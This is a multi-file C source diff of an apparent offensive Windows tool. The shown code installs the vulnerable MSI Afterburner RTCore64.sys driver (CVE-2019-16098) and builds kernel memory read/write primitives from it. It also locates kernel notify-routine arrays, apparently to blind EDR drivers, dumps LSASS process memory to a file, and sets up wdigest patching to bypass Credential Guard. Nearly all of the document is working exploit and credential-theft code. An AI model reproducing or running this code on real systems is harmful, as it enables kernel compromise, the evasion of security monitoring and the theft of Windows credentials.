hS = CreateService(hSC, serviceName, displayName, READ_CONTROL | WRITE_DAC | SERVICE_START, serviceType, startType, SERVICE_ERROR_NORMAL, binPath, NULL, NULL, NULL, NULL, NULL);
if (hS) {
_tprintf(TEXT("[+] \'%s\' service successfully registered\n"), serviceName);
if (ServiceAddEveryoneAccess(hS)) {
_tprintf(TEXT("[+] \'%s\' service ACL to everyone\n"), serviceName);
}
else {
_tprintf(TEXT("[!] ServiceAddEveryoneAccess"));
}
}
else {
PRINT_ERROR_AUTO(TEXT("CreateService"));
}
}
else {
PRINT_ERROR_AUTO(TEXT("OpenService"));
}
}
if (hS) {
if (startIt) {
if (StartService(hS, 0, NULL)) {
_tprintf(TEXT("[+] \'%s\' service started\n"), serviceName);
}
else if (GetLastError() == ERROR_SERVICE_ALREADY_RUNNING) {
_tprintf(TEXT("[*] \'%s\' service already started\n"), serviceName);
}
else {
PRINT_ERROR_AUTO(TEXT("StartService"));
return GetLastError();
}
}
CloseServiceHandle(hS);
}
CloseServiceHandle(hSC);
}
else {
PRINT_ERROR_AUTO(TEXT("OpenSCManager(create)"));
return GetLastError();
}
return 0x0;
}
BOOL ServiceGenericControl(PCTSTR serviceName, DWORD dwDesiredAccess, DWORD dwControl, LPSERVICE_STATUS ptrServiceStatus) {
BOOL status = FALSE;
SC_HANDLE hSC, hS;
SERVICE_STATUS serviceStatus;
hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT);
if (hSC) {
hS = OpenService(hSC, serviceName, dwDesiredAccess);
if (hS) {
status = ControlService(hS, dwControl, ptrServiceStatus ? ptrServiceStatus : &serviceStatus);
CloseServiceHandle(hS);
}
CloseServiceHandle(hSC);
}
return status;
}
BOOL ServiceUninstall(PCTSTR serviceName, DWORD attemptCount) {
// Used as a stop point for recursive calls to ServiceUninstall.
if (attemptCount > MAX_UNINSTALL_ATTEMPTS) {
_tprintf(TEXT("[!] Reached maximun number of attempts (%i) to uninstall the service \'%s\'\n"), MAX_UNINSTALL_ATTEMPTS, serviceName);
return FALSE;
}
if (ServiceGenericControl(serviceName, SERVICE_STOP, SERVICE_CONTROL_STOP, NULL)) {
_tprintf(TEXT("[+] \'%s\' service stopped\n"), serviceName);
}
else if (GetLastError() == ERROR_SERVICE_NOT_ACTIVE) {
_tprintf(TEXT("[*] \'%s\' service not running\n"), serviceName);
}
else if (GetLastError() == ERROR_SERVICE_CANNOT_ACCEPT_CTRL) {
_tprintf(TEXT("[*] \'%s\' service cannot accept control messages at this time, waiting...\n"), serviceName);
Sleep(OP_SLEEP_TIME);
}
else {
PRINT_ERROR_AUTO(TEXT("ServiceUninstall"));
Sleep(OP_SLEEP_TIME);
return ServiceUninstall(serviceName, attemptCount + 1);
}
SERVICE_STATUS status;
BOOL deleted = FALSE;
SC_HANDLE hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT);
if (hSC) {
SC_HANDLE hS = OpenService(hSC, serviceName, SERVICE_QUERY_STATUS | DELETE);
if (hS) {
if (QueryServiceStatus(hS, &status)) {
if (!(status.dwCurrentState == SERVICE_STOPPED)) {
CloseServiceHandle(hS);
CloseServiceHandle(hSC);
Sleep(OP_SLEEP_TIME);
return ServiceUninstall(serviceName, attemptCount + 1);
}
else {
deleted = DeleteService(hS);
CloseServiceHandle(hS);
}
}
}
CloseServiceHandle(hSC);
}
if (!deleted) {
Sleep(OP_SLEEP_TIME);
return ServiceUninstall(serviceName, attemptCount + 1);
}
return deleted;
}
/*
--- Vulnerable Micro-Star MSI Afterburner driver install / uninstall functions.
--- The "RTCore64.sys" (SHA256: 01AA278B07B58DC46C84BD0B1B5C8E9EE4E62EA0BF7A695862444AF32E87F1FD) file must be present in the current directory if --driver is not specified.
*/
BOOL InstallVulnerableDriver(TCHAR* driverPath) {
const TCHAR svcDesc[] = TEXT("");
DWORD status = ServiceInstall(gVulnDriverServiceName, svcDesc, driverPath, SERVICE_KERNEL_DRIVER, SERVICE_AUTO_START, TRUE);
if (status == 0x00000005) {
_tprintf(TEXT("[!] 0x00000005 - Access Denied when attempting to install the driver - Did you run as administrator?\n"));
}
return status == 0x0;
}
BOOL UninstallVulnerableDriver() {
BOOL status = ServiceUninstall(gVulnDriverServiceName, 0);
if (!status) {
PRINT_ERROR_AUTO(TEXT("ServiceUninstall"));
}
return status;
}
+70
View File
@@ -0,0 +1,70 @@
/*
--- ntoskrnl.exe / wdigest.dll version compute functions.
*/
#include "FileVersion.h"
void GetFileVersion(TCHAR* buffer, SIZE_T bufferLen, TCHAR* filename) {
DWORD verHandle = 0;
UINT size = 0;
LPVOID lpBuffer = NULL;
DWORD verSize = GetFileVersionInfoSize(filename, &verHandle);
if (verSize != 0) {
LPTSTR verData = (LPTSTR)calloc(verSize, 1);
if (!verData) {
_tprintf(TEXT("[!] Couldn't allocate memory to retrieve version data\n"));
return;
}
if (GetFileVersionInfo(filename, 0, verSize, verData)) {
if (VerQueryValue(verData, TEXT("\\"), &lpBuffer, &size)) {
if (size) {
VS_FIXEDFILEINFO* verInfo = (VS_FIXEDFILEINFO*)lpBuffer;
if (verInfo->dwSignature == 0xfeef04bd) {
DWORD majorVersion = (verInfo->dwFileVersionLS >> 16) & 0xffff;
DWORD minorVersion = (verInfo->dwFileVersionLS >> 0) & 0xffff;
_stprintf_s(buffer, bufferLen, TEXT("%ld-%ld"), majorVersion, minorVersion);
// _tprintf(TEXT("File Version: %d.%d\n"), majorVersion, minorVersion);
}
}
}
}
free(verData);
}
}
void GetNtoskrnlVersion(TCHAR* ntoskrnlVersion) {
// Retrieves the system folder (eg C:\Windows\System32).
TCHAR systemDirectory[MAX_PATH] = { 0 };
GetSystemDirectory(systemDirectory, _countof(systemDirectory));
// Compute ntoskrnl.exe path.
TCHAR ntoskrnlPath[MAX_PATH] = { 0 };
_tcscat_s(ntoskrnlPath, _countof(ntoskrnlPath), systemDirectory);
_tcscat_s(ntoskrnlPath, _countof(ntoskrnlPath), TEXT("\\ntoskrnl.exe"));
TCHAR versionBuffer[256] = { 0 };
GetFileVersion(versionBuffer, _countof(versionBuffer), ntoskrnlPath);
_stprintf_s(ntoskrnlVersion, 256, TEXT("ntoskrnl_%s.exe"), versionBuffer);
}
void GetWdigestVersion(TCHAR* wdigestVersion) {
// Retrieves the system folder (eg C:\Windows\System32).
TCHAR systemDirectory[MAX_PATH] = { 0 };
GetSystemDirectory(systemDirectory, _countof(systemDirectory));
// Compute ntoskrnl.exe path.
TCHAR wdigestPath[MAX_PATH] = { 0 };
_tcscat_s(wdigestPath, _countof(wdigestPath), systemDirectory);
_tcscat_s(wdigestPath, _countof(wdigestPath), TEXT("\\wdigest.dll"));
TCHAR versionBuffer[256] = { 0 };
GetFileVersion(versionBuffer, _countof(versionBuffer), wdigestPath);
_stprintf_s(wdigestVersion, 256, TEXT("wdigest_%s.dll"), versionBuffer);
}
+178
View File
@@ -0,0 +1,178 @@
/*
--- Kernel memory Read / Write primitives through the vulnerable Micro-Star MSI Afterburner driver.
--- Source and credit: https://github.com/Barakat/CVE-2019-16098/blob/master/CVE-2019-16098.cpp
*/
#include "KernelMemoryPrimitives.h"
static_assert(sizeof(struct RTCORE64_MSR_READ) == 12, "sizeof RTCORE64_MSR_READ must be 12 bytes");
static_assert(sizeof(struct RTCORE64_MEMORY_READ) == 48, "sizeof RTCORE64_MEMORY_READ must be 48 bytes");
static_assert(sizeof(struct RTCORE64_MEMORY_WRITE) == 48, "sizeof RTCORE64_MEMORY_WRITE must be 48 bytes");
DWORD ReadMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address) {
struct RTCORE64_MEMORY_READ MemoryRead = { 0 };
MemoryRead.Address = Address;
MemoryRead.ReadSize = Size;
DWORD BytesReturned;
DeviceIoControl(Device,
RTCORE64_MEMORY_READ_CODE,
&MemoryRead,
sizeof(MemoryRead),
&MemoryRead,
sizeof(MemoryRead),
&BytesReturned,
NULL);
return MemoryRead.Value;
}
void WriteMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address, DWORD Value) {
struct RTCORE64_MEMORY_READ MemoryRead = { 0 };
MemoryRead.Address = Address;
MemoryRead.ReadSize = Size;
MemoryRead.Value = Value;
DWORD BytesReturned;
DeviceIoControl(Device,
RTCORE64_MEMORY_WRITE_CODE,
&MemoryRead,
sizeof(MemoryRead),
&MemoryRead,
sizeof(MemoryRead),
&BytesReturned,
NULL);
}
BYTE ReadMemoryBYTE(HANDLE Device, DWORD64 Address) {
return ReadMemoryPrimitive(Device, 1, Address) & 0xff;
}
WORD ReadMemoryWORD(HANDLE Device, DWORD64 Address) {
return ReadMemoryPrimitive(Device, 2, Address) & 0xffff;
}
DWORD ReadMemoryDWORD(HANDLE Device, DWORD64 Address) {
return ReadMemoryPrimitive(Device, 4, Address) & 0xffffffff;
}
DWORD64 ReadMemoryDWORD64(HANDLE Device, DWORD64 Address) {
return ((DWORD64)(ReadMemoryDWORD(Device, Address + 4)) << 32) | ReadMemoryDWORD(Device, Address);
}
void WriteMemoryBYTE(HANDLE Device, DWORD64 Address, DWORD64 Value) {
DWORD64 currentValue = ReadMemoryDWORD64(Device, Address);
Value = (currentValue & 0xFFFFFFFFFFFFFFF0) | (Value);
WriteMemoryPrimitive(Device, 4, Address, Value & 0xffffffff);
WriteMemoryPrimitive(Device, 4, Address + 4, Value >> 32);
}
void WriteMemoryWORD(HANDLE Device, DWORD64 Address, DWORD64 Value) {
DWORD64 currentValue = ReadMemoryDWORD64(Device, Address);
Value = (currentValue & 0xFFFFFFFFFFFFFF00) | (Value);
WriteMemoryPrimitive(Device, 4, Address, Value & 0xffffffff);
WriteMemoryPrimitive(Device, 4, Address + 4, Value >> 32);
}
void WriteMemoryDWORD64(HANDLE Device, DWORD64 Address, DWORD64 Value) {
WriteMemoryPrimitive(Device, 4, Address, Value & 0xffffffff);
WriteMemoryPrimitive(Device, 4, Address + 4, Value >> 32);
}
/*
--- Kernel exploitation helpers.
--- Largely inspired from https://github.com/br-sn/CheekyBlinder
--- Source and credit: https://github.com/br-sn/CheekyBlinder/blob/master/CheekyBlinder/CheekyBlinder.cpp
*/
DWORD64 FindNtoskrnlBaseAddress(void) {
DWORD cbNeeded = 0;
LPVOID drivers[1024];
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) {
return (DWORD64)drivers[0];
}
return 0;
}
TCHAR* FindDriver(DWORD64 address, BOOL verbose) {
LPVOID drivers[1024];
DWORD cbNeeded;
int cDrivers = 0;
int i = 0;
TCHAR szDriver[1024] = { 0 };
DWORD64 minDiff = MAXDWORD64;
DWORD64 diff;
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) {
cDrivers = cbNeeded / sizeof(drivers[0]);
for (i = 0; i < cDrivers; i++) {
if ((DWORD64)drivers[i] <= address) {
diff = address - (DWORD64)drivers[i];
if (diff < minDiff) {
minDiff = diff;
}
}
}
}
else {
_tprintf(TEXT("[!] Could not resolve driver for 0x%I64x, an EDR driver might be missed\n"), address);
return NULL;
}
if (GetDeviceDriverBaseName((LPVOID)(address - minDiff), szDriver, _countof(szDriver))) {
if (verbose) {
_tprintf(TEXT("[+] %016llx [%s + 0x%llx]\n"), address, szDriver, minDiff);
}
TCHAR* const ptrDrvier = (LPTSTR)calloc(1024, sizeof(TCHAR));
if (!ptrDrvier) {
_tprintf(TEXT("[!] Couldn't allocate memory to retrieve the driver pointer\n"));
return NULL;
}
_tcscpy_s(ptrDrvier, 1024, szDriver);
return ptrDrvier;
}
else {
_tprintf(TEXT("[!] Could not resolve driver for 0x%I64x, an EDR driver might be missed\n"), address);
return NULL;
}
}
HANDLE GetDriverHandle() {
TCHAR service[MAX_PATH] = { 0 };
TCHAR suffix[] = TEXT("\\\\.\\");
_tcsncat_s(service, _countof(service), suffix, _countof(suffix));
_tcsncat_s(service, _countof(service), gVulnDriverServiceName, _tcslen(gVulnDriverServiceName));
HANDLE Device = CreateFile(service, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (Device == INVALID_HANDLE_VALUE) {
_tprintf(TEXT("[!] Unable to obtain a handle to the vulnerable driver, exiting...\n"));
exit(EXIT_FAILURE);
}
return Device;
}
DWORD64 GetFunctionAddress(LPCSTR function) {
DWORD64 ntoskrnlBaseAddress = FindNtoskrnlBaseAddress();
DWORD64 address = 0;
HMODULE ntoskrnl = LoadLibrary(TEXT("ntoskrnl.exe"));
if (ntoskrnl) {
DWORD64 offset = (DWORD64)(GetProcAddress(ntoskrnl, function)) - (DWORD64)(ntoskrnl);
address = ntoskrnlBaseAddress + offset;
FreeLibrary(ntoskrnl);
}
// _tprintf(TEXT("[+] %s address: 0x%I64x\n"), function, address);
return address;
}
+81
View File
@@ -0,0 +1,81 @@
/*
--- ntoskrnl Notify Routines' offsets search functions using patterns.
--- Ultimately not used because too unreliable and too prone to BSoD.
*/
#include "KernelPatternSearch.h"
DWORD64 PatternSearchStartingFromAddress(HANDLE Device, DWORD64 startAddress, DWORD bytesToScan, DWORD64 pattern, DWORD64 mask) {
for (DWORD i = 0; i < bytesToScan; i++) {
DWORD64 instructionAddress = startAddress + i;
DWORD64 dword64Instruction = ReadMemoryDWORD64(Device, instructionAddress);
DWORD64 dword64InstructionFixed = dword64Instruction & mask;
// _tprintf(TEXT("i = %i, pattern = 0x%I64x, instructionAddress = 0x%I64x, wordInstruction = 0x%I64x, wordInstructionFixed = 0x%I64x\n"), i, pattern, instructionAddress, dword64Instruction, dword64InstructionFixed);
if (dword64InstructionFixed == pattern) {
_tprintf(TEXT("[+] Found pattern = 0x%I64x at offset i = %i [instructionAddress = 0x%I64x, wordInstruction = 0x%I64x, wordInstructionFixed = 0x%I64x]\n"), pattern, i, instructionAddress, dword64Instruction, dword64InstructionFixed);
return instructionAddress;
}
}
return 0x0;
}
DWORD64 ExtractRelativeAddress(HANDLE Device, DWORD64 instructionStartAddress, DWORD64 instructionRelativeAddressOffset, DWORD64 nextInstructionOffset) {
DWORD64 procedureRelativeAddress = (signed int)ReadMemoryDWORD64(Device, instructionStartAddress + instructionRelativeAddressOffset);
DWORD64 nextInstructionAddress = instructionStartAddress + nextInstructionOffset;
return nextInstructionAddress + procedureRelativeAddress;
}
DWORD64 GetPspCreateProcessNotifyRoutineAddressUsingPattern(void) {
_tprintf(TEXT("[*] Searching for PspCreateProcessNotifyRoutine address using pattern\n"));
HANDLE Device = GetDriverHandle();
// Extracting PspSetCreateProcessNotifyRoutine address in PsSetCreateProcessNotifyRoutine using the pattern "E8" (CALL) to match "[e80e010000] call nt!PspSetCreateProcessNotifyRoutine".
DWORD64 PsSetCreateProcessNotifyRoutineAddress = GetFunctionAddress("PsSetCreateProcessNotifyRoutine");
DWORD64 CallPspSetCreateProcessNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PsSetCreateProcessNotifyRoutineAddress, 64, 0x00000000000000E8, 0x00000000000000FF);
DWORD64 PspSetCreateProcessNotifyRoutineAddress = ExtractRelativeAddress(Device, CallPspSetCreateProcessNotifyRoutineAddress, 1, 5);
// Extracting PspCreateProcessNotifyRoutine address in PspSetCreateProcessNotifyRoutine using the pattern "4C 8D" (LEA 4C) to match "[4c8d2d371ddaff] lea r13,[nt!PspCreateProcessNotifyRoutine".
DWORD64 LeaPspCreateProcessNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PspSetCreateProcessNotifyRoutineAddress, 256, 0x0000000000008D48, 0x000000000000FFF8);
DWORD64 PspCreateProcessNotifyRoutineAddress = ExtractRelativeAddress(Device, LeaPspCreateProcessNotifyRoutineAddress, 3, 7);
_tprintf(TEXT("[+] Pattern search found PspCreateProcessNotifyRoutine address: 0x%I64x\n"), PspCreateProcessNotifyRoutineAddress);
CloseHandle(Device);
return PspCreateProcessNotifyRoutineAddress;
}
DWORD64 GetPspCreateThreadNotifyRoutineAddressUsingPattern(void) {
_tprintf(TEXT("[*] Searching for PspCreateThreadNotifyRoutine address using pattern\n"));
HANDLE Device = GetDriverHandle();
// Extracting nt!PspSetCreateThreadNotifyRoutine address in nt!PsSetCreateThreadNotifyRoutine using the pattern "E8" (CALL) to match "[e865000000] call nt!PspSetCreateThreadNotifyRoutine".
DWORD64 PsSetCreateThreadNotifyRoutineAddress = GetFunctionAddress("PsSetCreateThreadNotifyRoutine");
DWORD64 CallPspSetCreateThreadNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PsSetCreateThreadNotifyRoutineAddress, 64, 0x00000000000000E8, 0x00000000000000FF);
DWORD64 PspSetCreateThreadNotifyRoutineAddress = ExtractRelativeAddress(Device, CallPspSetCreateThreadNotifyRoutineAddress, 1, 5);
// Extracting nt!PspCreateThreadNotifyRoutine address in nt!PspSetCreateThreadNotifyRoutine using the pattern "4C 8D" (LEA 4C) to match "[488d0d431cdaff] lea rcx,[nt!PspCreateThreadNotifyRoutine]".
DWORD64 LeaPspCreateThreadNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PspSetCreateThreadNotifyRoutineAddress, 256, 0x0000000000008D48, 0x000000000000FFF8);
DWORD64 PspCreateThreadNotifyRoutineAddress = ExtractRelativeAddress(Device, LeaPspCreateThreadNotifyRoutineAddress, 3, 7);
_tprintf(TEXT("[+] Pattern search found PspCreateThreadNotifyRoutine address: 0x%I64x\n"), PspCreateThreadNotifyRoutineAddress);
CloseHandle(Device);
return PspCreateThreadNotifyRoutineAddress;
}
DWORD64 GetPspLoadImageNotifyRoutineAddressUsingPattern(void) {
_tprintf(TEXT("[*] Searching for PspLoadImageNotifyRoutine address using pattern\n"));
HANDLE Device = GetDriverHandle();
// Extracting nt!PspLoadImageNotifyRoutine address directly from nt!PsSetLoadImageNotifyRoutineEx using the pattern "4C 8D" (LEA 4C) to match "[488d0d981ddaff] lea rcx,[nt!PspLoadImageNotifyRoutine]".
DWORD64 PsSetLoadImageNotifyRoutineExAddress = GetFunctionAddress("PsSetLoadImageNotifyRoutineEx");
DWORD64 LeaPspLoadImageNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PsSetLoadImageNotifyRoutineExAddress, 128, 0x0000000000008D48, 0x000000000000FFF8);
DWORD64 PspLoadImageNotifyRoutineAddress = ExtractRelativeAddress(Device, LeaPspLoadImageNotifyRoutineAddress, 3, 7);;
_tprintf(TEXT("[+] Pattern search found PspLoadImageNotifyRoutine address: 0x%I64x\n"), PspLoadImageNotifyRoutineAddress);
CloseHandle(Device);
return PspLoadImageNotifyRoutineAddress;
}
+101
View File
@@ -0,0 +1,101 @@
/*
--- LSASS dump functions.
*/
#include "LSASSDump.h"
BOOL SetPrivilege(HANDLE hToken, LPCTSTR lpszPrivilege, BOOL bEnablePrivilege)
{
LUID luid;
BOOL bRet = FALSE;
if (LookupPrivilegeValue(NULL, lpszPrivilege, &luid))
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = (bEnablePrivilege) ? SE_PRIVILEGE_ENABLED : 0;
if (AdjustTokenPrivileges(hToken, FALSE, &tp, 0, (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL))
{
bRet = (GetLastError() == ERROR_SUCCESS);
}
}
return bRet;
}
DWORD WINAPI dumpLSASSProcess(void* data) {
HANDLE hProcessSnap;
HANDLE hProcess;
PROCESSENTRY32 pe32;
DWORD dwPriorityClass;
TCHAR* outputDump = (TCHAR*)data;
//Enable the SeDebugPrivilege
HANDLE hToken;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
{
SetPrivilege(hToken, SE_DEBUG_NAME, TRUE);
CloseHandle(hToken);
}
// Take a snapshot of all processes in the system.
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE) {
_tprintf(TEXT("[!] LSASS dump failed: impossible to get snapshot of the system's processes (CreateToolhelp32Snapshot)\n"));
return 1;
}
// Set the size of the structure before using it.
pe32.dwSize = sizeof(PROCESSENTRY32);
// Retrieve information about the first process,
// and exit if unsuccessful
if (!Process32First(hProcessSnap, &pe32)) {
_tprintf(TEXT("[!] LSASS dump failed: obtained invalid process handle\n")); // show cause of failure
CloseHandle(hProcessSnap); // clean the snapshot object
return 1;
}
// Now walk the snapshot of processes, and look for lsass.
do {
if (_tcscmp(pe32.szExeFile, TEXT("lsass.exe"))) {
continue;
}
// Retrieve the priority class.
dwPriorityClass = 0;
hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, FALSE, pe32.th32ProcessID);
if (hProcess == NULL || hProcess == INVALID_HANDLE_VALUE) {
_tprintf(TEXT("[!] LSASS dump failed: couldn't open lsass memory (OpenProcess)\n"));
return 1;
}
else {
dwPriorityClass = GetPriorityClass(hProcess);
if (!dwPriorityClass) {
_tprintf(TEXT("[!] LSASS dump non fatal error: couldn't retrieve LSASS process' priority class (GetPriorityClass)\n"));
}
HANDLE hDumpFile = CreateFile(outputDump, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hDumpFile == INVALID_HANDLE_VALUE) {
_tprintf(TEXT("[!] LSASS dump failed: couldn't create dump file (CreateFileA)\n"));
return 1;
}
BOOL dumped = MiniDumpWriteDump(hProcess, pe32.th32ProcessID, hDumpFile, MiniDumpWithFullMemory, NULL, NULL, NULL);
if (!dumped) {
_tprintf(TEXT("[!] LSASS dump failed: couldn't dump LSASS process (MiniDumpWriteDump)\n"));
return 1;
}
_tprintf(TEXT("[+] LSASS sucessfully dump to: %s\n"), outputDump);
CloseHandle(hProcess);
}
} while (Process32Next(hProcessSnap, &pe32));
CloseHandle(hProcessSnap);
return 0;
}
+44
View File
@@ -0,0 +1,44 @@
/*
--- ntoskrnl Notify Routines' offsets from CSV functions.
--- Hardcoded patterns, with offsets for 350+ ntoskrnl versions provided in the CSV file.
*/
#include "NtoskrnlOffsets.h"
union NtoskrnlOffsets ntoskrnlOffsets = { 0 };
// Return the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use.
union NtoskrnlOffsets GetNtoskrnlVersionOffsets(TCHAR* ntoskrnlOffsetFilename) {
TCHAR ntoskrnlVersion[256] = { 0 };
GetNtoskrnlVersion(ntoskrnlVersion);
_tprintf(TEXT("[*] System's ntoskrnl.exe file version is: %s\n"), ntoskrnlVersion);
FILE* offsetFileStream = NULL;
_tfopen_s(&offsetFileStream, ntoskrnlOffsetFilename, TEXT("r"));
union NtoskrnlOffsets offset_results = { 0 };
if (offsetFileStream == NULL) {
_tprintf(TEXT("[!] Offset CSV file not found / invalid. A valid offset file must be specifed!\n"));
return offset_results;
}
TCHAR lineNtoskrnlVersion[256];
TCHAR line[2048];
while (_fgetts(line, _countof(line), offsetFileStream)) {
TCHAR* dupline = _tcsdup(line);
TCHAR* tmpBuffer = NULL;
_tcscpy_s(lineNtoskrnlVersion, _countof(lineNtoskrnlVersion), _tcstok_s(dupline, TEXT(","), &tmpBuffer));
if (_tcscmp(ntoskrnlVersion, lineNtoskrnlVersion) == 0) {
TCHAR* endptr;
_tprintf(TEXT("[+] Offsets are available for this version of ntoskrnl.exe (%s)!\n"), ntoskrnlVersion);
for (int i = 0; i < _SUPPORTED_NTOSKRNL_OFFSETS_END; i++) {
offset_results.ar[i] = _tcstoull(_tcstok_s(NULL, TEXT(","), &tmpBuffer), &endptr, 16);
}
break;
}
}
fclose(offsetFileStream);
return offset_results;
}
+46
View File
@@ -0,0 +1,46 @@
/*
--- Functions to bypass Credential Guard by enabling Wdigest through patching of the g_fParameter_UseLogonCredential and g_IsCredGuardEnabled attributes in memory.
--- Full source and credit to https://teamhydra.blog/2020/08/25/bypassing-credential-guard/
--- Code adapted from: https://gist.github.com/N4kedTurtle/8238f64d18932c7184faa2d0af2f1240
*/
#include "WdigestOffsets.h"
union WdigestOffsets wdigestOffsets = { 0 };
// Return the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use.
union WdigestOffsets GetWdigestVersionOffsets(TCHAR* wdigestOffsetFilename) {
TCHAR wdigestVersion[256] = { 0 };
GetWdigestVersion(wdigestVersion);
_tprintf(TEXT("[*] System's wdigest.dll file version is: %s\n"), wdigestVersion);
FILE* offsetFileStream = NULL;
_tfopen_s(&offsetFileStream, wdigestOffsetFilename, TEXT("r"));
union WdigestOffsets offsetResults = { 0 };
if (offsetFileStream == NULL) {
_tprintf(TEXT("[!] Offset CSV file not found / invalid. A valid offset file must be specifed!\n"));
return offsetResults;
}
TCHAR lineWdigestVersion[256];
TCHAR line[2048];
while (_fgetts(line, _countof(line), offsetFileStream)) {
TCHAR* dupline = _tcsdup(line);
TCHAR* tmpBuffer = NULL;
_tcscpy_s(lineWdigestVersion, _countof(lineWdigestVersion), _tcstok_s(dupline, TEXT(","), &tmpBuffer));
if (_tcscmp(wdigestVersion, lineWdigestVersion) == 0) {
TCHAR* endptr;
_tprintf(TEXT("[+] Offsets are available for this version of wdigest.dll (%s)!\n"), wdigestVersion);
// TODO: switch hardcoded value to sizeof or const defined
for (int i = 0; i < 2; i++) {
offsetResults.ar[i] = _tcstoull(_tcstok_s(NULL, TEXT(","), &tmpBuffer), &endptr, 16);
}
break;
}
}
fclose(offsetFileStream);
return offsetResults;
}